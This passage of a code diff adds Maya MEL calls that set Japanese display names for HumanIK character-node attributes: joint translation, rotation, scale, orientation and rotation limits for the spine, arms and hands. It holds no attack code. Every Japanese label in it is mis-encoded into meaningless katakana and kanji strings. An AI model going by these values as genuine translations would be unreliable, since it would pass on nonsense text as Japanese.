"RightFootRz", "モメスナミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootS", "モメスナヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSx", "モメスナヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSy", "モメスナヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootSz", "モメスナヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateOrder", "モメスナミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxis", "モメスナミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisx", "モメスナミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisy", "モメスナミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootRotateAxisz", "モメスナミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrient", "モメスナケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrientx", "モメスナケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrienty", "モメスナケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootJointOrientz", "モメスナケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimit", "モメスナラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitx", "モメスナラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimity", "モメスナラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitz", "モメスナラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimit", "モメスナラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitx", "モメスナラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimity", "モメスナラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitz", "モメスナラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnablex", "ニモテモメスナラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnabley", "ニモテモメスナラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMinRLimitEnablez", "ニモテモメスナラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnablex", "ニモテモメスナラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnabley", "ニモテモメスナラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMaxRLimitEnablez", "ニモテモメスナラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine", "シケラオ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineT", "シケラオニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTx", "シケラオニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTy", "シケラオニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineTz", "シケラオニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineR", "シケラオミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRx", "シケラオミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRy", "シケラオミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRz", "シケラオミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineS", "シケラオヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSx", "シケラオヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSy", "シケラオヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineSz", "シケラオヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateOrder", "シケラオミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxis", "シケラオミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisx", "シケラオミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisy", "シケラオミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineRotateAxisz", "シケラオミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrient", "シケラオケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrientx", "シケラオケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrienty", "シケラオケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineJointOrientz", "シケラオケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimit", "シケラオラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitx", "シケラオラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimity", "シケラオラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitz", "シケラオラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimit", "シケラオラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitx", "シケラオラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimity", "シケラオラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitz", "シケラオラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnablex", "ニモテシケラオラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnabley", "ニモテシケラオラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMinRLimitEnablez", "ニモテシケラオラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnablex", "ニモテシケラオラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnabley", "ニモテシケラオラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "SpineMaxRLimitEnablez", "ニモテシケラオラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArm", "ラアロ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmT", "ラアロニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTx", "ラアロニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTy", "ラアロニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmTz", "ラアロニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmR", "ラアロミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRx", "ラアロミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRy", "ラアロミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRz", "ラアロミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmS", "ラアロヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSx", "ラアロヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSy", "ラアロヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmSz", "ラアロヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateOrder", "ラアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxis", "ラアロミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisx", "ラアロミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisy", "ラアロミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmRotateAxisz", "ラアロミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrient", "ラアロケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrientx", "ラアロケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrienty", "ラアロケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmJointOrientz", "ラアロケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimit", "ラアロラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitx", "ラアロラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimity", "ラアロラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitz", "ラアロラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimit", "ラアロラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitx", "ラアロラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimity", "ラアロラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitz", "ラアロラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnablex", "ニモテラアロラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnabley", "ニモテラアロラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMinRLimitEnablez", "ニモテラアロラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnablex", "ニモテラアロラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnabley", "ニモテラアロラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftArmMaxRLimitEnablez", "ニモテラアロラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArm", "ラヌーアロ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmT", "ラヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTx", "ラヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTy", "ラヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmTz", "ラヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmR", "ラヌーアロミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRx", "ラヌーアロミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRy", "ラヌーアロミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRz", "ラヌーアロミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmS", "ラヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSx", "ラヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSy", "ラヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmSz", "ラヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateOrder", "ラヌーアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxis", "ラヌーアロミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisx", "ラヌーアロミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisy", "ラヌーアロミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmRotateAxisz", "ラヌーアロミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrient", "ラヌーアロケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrientx", "ラヌーアロケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrienty", "ラヌーアロケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmJointOrientz", "ラヌーアロケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimit", "ラヌーアロラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitx", "ラヌーアロラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimity", "ラヌーアロラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitz", "ラヌーアロラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimit", "ラヌーアロラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitx", "ラヌーアロラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimity", "ラヌーアロラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitz", "ラヌーアロラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnablex", "ニモテラヌーアロラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnabley", "ニモテラヌーアロラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMinRLimitEnablez", "ニモテラヌーアロラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnablex", "ニモテラヌーアロラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnabley", "ニモテラヌーアロラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftForeArmMaxRLimitEnablez", "ニモテラヌーアロラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHand", "ラハヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandT", "ラハヨニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTx", "ラハヨニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTy", "ラハヨニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandTz", "ラハヨニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandR", "ラハヨミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRx", "ラハヨミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRy", "ラハヨミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRz", "ラハヨミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandS", "ラハヨヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSx", "ラハヨヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSy", "ラハヨヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSz", "ラハヨヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateOrder", "ラハヨミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxis", "ラハヨミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisx", "ラハヨミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisy", "ラハヨミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisz", "ラハヨミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrient", "ラハヨケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrientx", "ラハヨケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrienty", "ラハヨケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrientz", "ラハヨケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimit", "ラハヨラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitx", "ラハヨラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimity", "ラハヨラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitz", "ラハヨラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimit", "ラハヨラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitx", "ラハヨラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimity", "ラハヨラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitz", "ラハヨラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnablex", "ニモテラハヨラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnabley", "ニモテラハヨラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnablez", "ニモテラハヨラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnablex", "ニモテラハヨラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnabley", "ニモテラハヨラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnablez", "ニモテラハヨラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArm", "モメアロ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmT", "モメアロニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTx", "モメアロニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTy", "モメアロニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTz", "モメアロニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmR", "モメアロミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRx", "モメアロミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRy", "モメアロミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRz", "モメアロミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmS", "モメアロヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSx", "モメアロヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSy", "モメアロヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSz", "モメアロヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateOrder", "モメアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxis", "モメアロミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisx", "モメアロミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisy", "モメアロミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisz", "モメアロミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrient", "モメアロケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrientx", "モメアロケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrienty", "モメアロケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrientz", "モメアロケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimit", "モメアロラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitx", "モメアロラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimity", "モメアロラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitz", "モメアロラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimit", "モメアロラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitx", "モメアロラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimity", "モメアロラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitz", "モメアロラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnablex", "ニモテモメアロラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnabley", "ニモテモメアロラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnablez", "ニモテモメアロラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnablex", "ニモテモメアロラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnabley", "ニモテモメアロラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnablez", "ニモテモメアロラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArm", "モメヌーアロ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmT", "モメヌーアロニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTx", "モメヌーアロニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTy", "モメヌーアロニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTz", "モメヌーアロニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmR", "モメヌーアロミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRx", "モメヌーアロミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRy", "モメヌーアロミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRz", "モメヌーアロミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmS", "モメヌーアロヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSx", "モメヌーアロヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSy", "モメヌーアロヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSz", "モメヌーアロヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateOrder", "モメヌーアロミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxis", "モメヌーアロミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisx", "モメヌーアロミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisy", "モメヌーアロミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisz", "モメヌーアロミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrient", "モメヌーアロケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrientx", "モメヌーアロケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrienty", "モメヌーアロケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrientz", "モメヌーアロケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimit", "モメヌーアロラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitx", "モメヌーアロラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimity", "モメヌーアロラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitz", "モメヌーアロラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimit", "モメヌーアロラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitx", "モメヌーアロラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimity", "モメヌーアロラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitz", "モメヌーアロラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnablex", "ニモテモメヌーアロラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnabley", "ニモテモメヌーアロラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnablez", "ニモテモメヌーアロラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnablex", "ニモテモメヌーアロラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnabley", "ニモテモメヌーアロラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnablez", "ニモテモメヌーアロラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHand", "モメハヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandT", "モメハヨニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTx", "モメハヨニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTy", "モメハヨニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTz", "モメハヨニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandR", "モメハヨミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRx", "モメハヨミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRy", "モメハヨミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRz", "モメハヨミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandS", "モメハヨヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSx", "モメハヨヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSy", "モメハヨヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSz", "モメハヨヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateOrder", "モメハヨミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxis", "モメハヨミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisx", "モメハヨミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisy", "モメハヨミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisz", "モメハヨミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrient", "モメハヨケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrientx", "モメハヨケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrienty", "モメハヨケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrientz", "モメハヨケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimit", "モメハヨラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitx", "モメハヨラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimity", "モメハヨラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitz", "モメハヨラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( 